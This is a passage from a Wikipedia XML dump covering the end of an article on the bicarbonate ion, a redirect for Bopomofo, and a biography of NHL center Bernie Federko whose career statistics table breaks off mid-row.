        <username>Superjoel</username>
        <id>958170</id>
      </contributor>
      <minor />
      <comment>sv</comment>
      <text xml:space="preserve">{{dablink|This refers to the bicarbonate ion, for baking soda, see [[Sodium bicarbonate]].}}

A '''Bicarbonate''' or, more properly, a '''hydrogen carbonate''' is a [[polyatomic ion]] whose [[chemical formula|formula]] is [[Hydrogen|H]][[Carbon|C]][[Oxygen|O]]&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;. It is the intermediate form in the [[deprotonation]] of [[carbonic acid]]: removing the first [[proton]] from carbonic acid forms bicarbonate; removing the second proton leads to the [[carbonate]] ion.

The [[salt]]s which contain the bicarbonate ion are also known as '''bicarbonates''', such as [[sodium bicarbonate]] (baking soda) NaHCO&lt;sub&gt;3&lt;/sub&gt;. Bicarbonates, when exposed to an [[acid]] such as [[acetic acid]] of [[vinegar]], release [[carbon dioxide]]. This is used to cause [[bread]]s to rise in [[cooking]] and to propel toy rockets.

The bicarbonate/carbonate ionic system is also a [[buffer_solution|buffer]] in [[blood]].

Bicarbonates are more correctly named hydrogen carbonates in the chemical [[nomenclature]] system.  Occasionally they are referred to as &quot;acid carbonates&quot;.

==See also==

* [[carbon dioxide]]
* [[carbonic acid]]
* [[carbonate]]
* [[hard water]]
* [[Ocean acidification]]

[[Category:Salts]]
[[Category:Bicarbonates]]
[[fr:Bicarbonate]]
[[he:ביקרבונט]]
[[pl:Anion wodorowęglanowy]]
[[sv:Vätekarbonatjon]]</text>
    </revision>
  </page>
  <page>
    <title>Bopomofo</title>
    <id>3983</id>
    <revision>
      <id>15902288</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>24.93.53.199</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Zhuyin]]</text>
    </revision>
  </page>
  <page>
    <title>Bernie Federko</title>
    <id>3984</id>
    <revision>
      <id>42033653</id>
      <timestamp>2006-03-03T09:47:51Z</timestamp>
      <contributor>
        <username>Canuck85</username>
        <id>511814</id>
      </contributor>
      <text xml:space="preserve">[[Image:Federko.jpg|thumb|Federko as captain of the Blues.]]
'''Bernard Allan Federko''' (born [[May 12]], [[1956]] in [[Foam Lake, Saskatchewan|Foam Lake]], [[Saskatchewan]], [[Canada]]) is a retired [[professional]] [[ice hockey]] center who played 14 seasons in the [[National Hockey League|NHL]] from [[1976]] to [[1990]].

==Playing career==
Federko started off his notable career with the [[Saskatoon Blades]] of the [[Western Hockey League|WHL]]. He played three seasons with the Blades, and in his final year with the club he led the league in assists and points in both the regular season ''and'' playoffs. As a reward, Federko was drafted 7th overall by the [[St. Louis Blues (hockey)|St. Louis Blues]] in the [[1976 NHL Amateur Draft]]. He started the next season with the Kansas City Blues of the CHL and was leading the league in points when he was called up mid-season to play 31 games with St. Louis. He scored three [[hat trick]]s in those 31 games. In the [[1978-79 NHL season]], Federko developed into a bonafide star, as he scored 95 points.

Federko would score 100 points in a season four times, and was a consistent and underrated superstar for the Blues. Federko scored at least 90 points in seven of the eight seasons between [[1978]] and [[1986]], and became the first player in NHL history to record at least 50 assists in 10 consecutive seasons. However, in an era when [[Wayne Gretzky]] was scoring 200 points a season, Federko never really got the attention many felt he deserved. In 1986, in a poll conducted by GOAL magazine, he was named the most overlooked talent in hockey. His [[General Manager]] [[Ron Caron]] said he was &quot;A great playmaker. He makes the average or above average player look like a star at times. He's such an unselfish player.&quot;

On [[March 19]], [[1988]], Federko became the 22nd NHL player to record 1000 career points. After a poor season for Federko in [[1988-89 NHL season|1988-89]], he was traded to the [[Detroit Red Wings]] with [[Tony McKegney]] for future Blues star [[Adam Oates]], and [[Paul MacLean (hockey player)|Paul MacLean]]. In Detroit, Federko re-united with former Blues head coach [[Jacques Demers]], but he had to play behind [[Steve Yzerman]] and did not get his desired ice time. After his lowest point output since his rookie season, Federko decided to retire after the [[1989-90 NHL season|1989-90 season]].

Federko was inducted into the [[Hockey Hall of Fame]] in [[2002]], and is currently a television color commentator for the Blues. He also had his number '24' retired by the Blues on [[March 16]], [[1991]].

Federko was the head coach/general manager of the St. Louis InLine team of the RHI for the [[1993]] and [[1994]] seasons.

{{HHOF}} 
==Awards==
*Named to the WCHL All-Star Team (1976)
*Named WCHL MVP (1976)
*Named to the CHL Second All-Star Team (1977)
*Won Ken McKenzie Trophy as CHL Rookie of the Year (1977)
*Played in the NHL All-Star Game (1980, 1981)
*Named NHL Player of the Week (For week ending [[December 3]], [[1984]])

==Records==
*St. Louis Blues team record for career games played (927)
*St. Louis Blues team record for career assists (721)
*St. Louis Blues team record for career points (1130)
*Shares St. Louis Blues team record for assists in one game (5 on [[February 27|Feb. 27]]/ [[1988|88]])
*St. Louis Blues team record for career playoff assists (66)
*St. Louis Blues team record for points in one playoff year (21 in 1986)
*St. Louis Blues team record for assists in one playoff year (15 in 1986)

==Career statistics==
&lt;TABLE BORDER=&quot;0&quot; CELLPADDING=&quot;3&quot; CELLSPACING=&quot;0&quot;&gt;
&lt;TR ALIGN=center bgcolor=&quot;#e0e0e0&quot;&gt;
  &lt;TH ALIGN=center colspan=&quot;3&quot; bgcolor=&quot;#ffffff&quot;&gt;&amp;nbsp;&lt;/th&gt;
  &lt;TH ALIGN=center rowspan=&quot;99&quot; bgcolor=&quot;#ffffff&quot;&gt;&amp;nbsp;&lt;/th&gt;
  &lt;TH ALIGN=center colspan=&quot;9&quot;&gt;Regular&amp;nbsp;season&lt;/th&gt;
  &lt;TH ALIGN=center rowspan=&quot;99&quot; bgcolor=&quot;#ffffff&quot;&gt;&amp;nbsp;&lt;/th&gt;
  &lt;TH ALIGN=center colspan=&quot;5&quot;&gt;Playoffs&lt;/th&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#e0e0e0&quot;&gt;
  &lt;TH ALIGN=center&gt;Season&lt;/th&gt;
  &lt;TH ALIGN=center&gt;Team&lt;/th&gt;
  &lt;TH ALIGN=center&gt;League&lt;/th&gt;
  &lt;TH ALIGN=center&gt;GP&lt;/th&gt;
  &lt;TH ALIGN=center&gt;G&lt;/th&gt;
  &lt;TH ALIGN=center&gt;A&lt;/th&gt;
  &lt;TH ALIGN=center&gt;Pts&lt;/th&gt;
  &lt;TH ALIGN=center&gt;PIM&lt;/th&gt;
  &lt;TH ALIGN=center&gt;PM&lt;/th&gt;
  &lt;TH ALIGN=center&gt;PP&lt;/th&gt;
  &lt;TH ALIGN=center&gt;SH&lt;/th&gt;
  &lt;TH ALIGN=center&gt;GW&lt;/th&gt;  
  &lt;TH ALIGN=center&gt;GP&lt;/th&gt;
  &lt;TH ALIGN=center&gt;G&lt;/th&gt;
  &lt;TH ALIGN=center&gt;A&lt;/th&gt;
  &lt;TH ALIGN=center&gt;Pts&lt;/th&gt;
  &lt;TH ALIGN=center&gt;PIM&lt;/th&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;1973-74&lt;/td&gt;
  &lt;TD ALIGN=center&gt;Saskatoon Blades&lt;/td&gt;
  &lt;TD ALIGN=center&gt;WCHL&lt;/td&gt;
  &lt;TD ALIGN=center&gt;68&lt;/td&gt;
  &lt;TD ALIGN=center&gt;22&lt;/td&gt;
  &lt;TD ALIGN=center&gt;28&lt;/td&gt;
  &lt;TD ALIGN=center&gt;50&lt;/td&gt;
  &lt;TD ALIGN=center&gt;19&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/th&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;6&lt;/td&gt;
  &lt;TD ALIGN=center&gt;0&lt;/td&gt;
  &lt;TD ALIGN=center&gt;0&lt;/td&gt;
  &lt;TD ALIGN=center&gt;0&lt;/td&gt;
  &lt;TD ALIGN=center&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;1974-75&lt;/td&gt;
  &lt;TD ALIGN=center&gt;Saskatoon Blades&lt;/td&gt;
  &lt;TD ALIGN=center&gt;WCHL&lt;/td&gt;
  &lt;TD ALIGN=center&gt;66&lt;/td&gt;
  &lt;TD ALIGN=center&gt;39&lt;/td&gt;
  &lt;TD ALIGN=center&gt;68&lt;/td&gt;
  &lt;TD ALIGN=center&gt;107&lt;/td&gt;
  &lt;TD ALIGN=center&gt;30&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/th&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;17&lt;/td&gt;
  &lt;TD ALIGN=center&gt;15&lt;/td&gt;
  &lt;TD ALIGN=center&gt;7&lt;/td&gt;
  &lt;TD ALIGN=center&gt;22&lt;/td&gt;
  &lt;TD ALIGN=center&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;1975-76&lt;/td&gt;
  &lt;TD ALIGN=center&gt;Saskatoon Blades&lt;/td&gt;
  &lt;TD ALIGN=center&gt;WCHL&lt;/td&gt;
  &lt;TD ALIGN=center&gt;72&lt;/td&gt;
  &lt;TD ALIGN=center&gt;72&lt;/td&gt;
  &lt;TD ALIGN=center&gt;115&lt;/td&gt;
  &lt;TD ALIGN=center&gt;187&lt;/td&gt;
  &lt;TD ALIGN=center&gt;108&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/th&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;20&lt;/td&gt;
  &lt;TD ALIGN=center&gt;18&lt;/td&gt;
  &lt;TD ALIGN=center&gt;27&lt;/td&gt;
  &lt;TD ALIGN=center&gt;45&lt;/td&gt;
  &lt;TD ALIGN=center&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1976-77'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''31'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''14'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''9'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''23'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''15'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-6'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''6'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''1''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''1'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;1976-77&lt;/td&gt;
  &lt;TD ALIGN=center&gt;Kansas City Blues&lt;/td&gt;
  &lt;TD ALIGN=center&gt;CHL&lt;/td&gt;
  &lt;TD ALIGN=center&gt;42&lt;/td&gt;
  &lt;TD ALIGN=center&gt;30&lt;/td&gt;
  &lt;TD ALIGN=center&gt;39&lt;/td&gt;
  &lt;TD ALIGN=center&gt;69&lt;/td&gt;
  &lt;TD ALIGN=center&gt;41&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/th&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
  &lt;TD ALIGN=center&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1977-78'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''72'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''17'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''24'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''41'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''27'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-35'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''1'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1978-79'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''74'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''31'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''64'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''95'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''14'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-15'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''7'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''1'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1979-80'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''79'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''38'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''56'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''94'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''24'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''+3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''7'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''1'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''1'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1980-81'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''78'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''31'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''73'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''104'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''47'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''+9'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''9'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''11'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''8'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''10'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''18'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1981-82'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''74'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''30'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''62'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''92'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''70'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-10'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''11'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''6'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''10'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''15'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''18'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''10'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1982-83'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''75'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''24'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''60'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''84'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''24'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-10'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''9'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''1'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''5'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1983-84'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''79'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''41'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''66'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''107'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''43'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''14'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''11'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''8'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''10'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1984-85'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''76'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''30'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''73'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''103'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''27'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-10'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''6'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1985-86'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''80'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''34'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''68'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''102'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''34'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''+10'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''16'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''19'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''7'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''14'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''21'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''17'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1986-87'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''64'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''20'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''52'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''72'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''32'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-25'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''9'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''6'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''6'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''18'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1987-88'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''79'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''20'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''69'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''89'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''52'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-12'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''9'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''10'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''6'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''8'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''18'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1988-89'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''St. Louis Blues'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''66'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''22'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''45'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''67'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''54'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-20'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''9'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''6'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''10'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''4'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''8'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''12'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''1989-90'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''Detroit Red Wings'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''73'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''17'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''40'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''57'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''24'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-8'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''3'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/th&gt;
  &lt;TD ALIGN=center&gt;'''0'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''-'''&lt;/td&gt;
&lt;/tr&gt;
&lt;TR ALIGN=center bgcolor=&quot;#f0f0f0&quot;&gt;
  &lt;TD ALIGN=center&gt;'''14 seasons'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''NHL career'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''1000'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''369'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''761'''&lt;/td&gt;
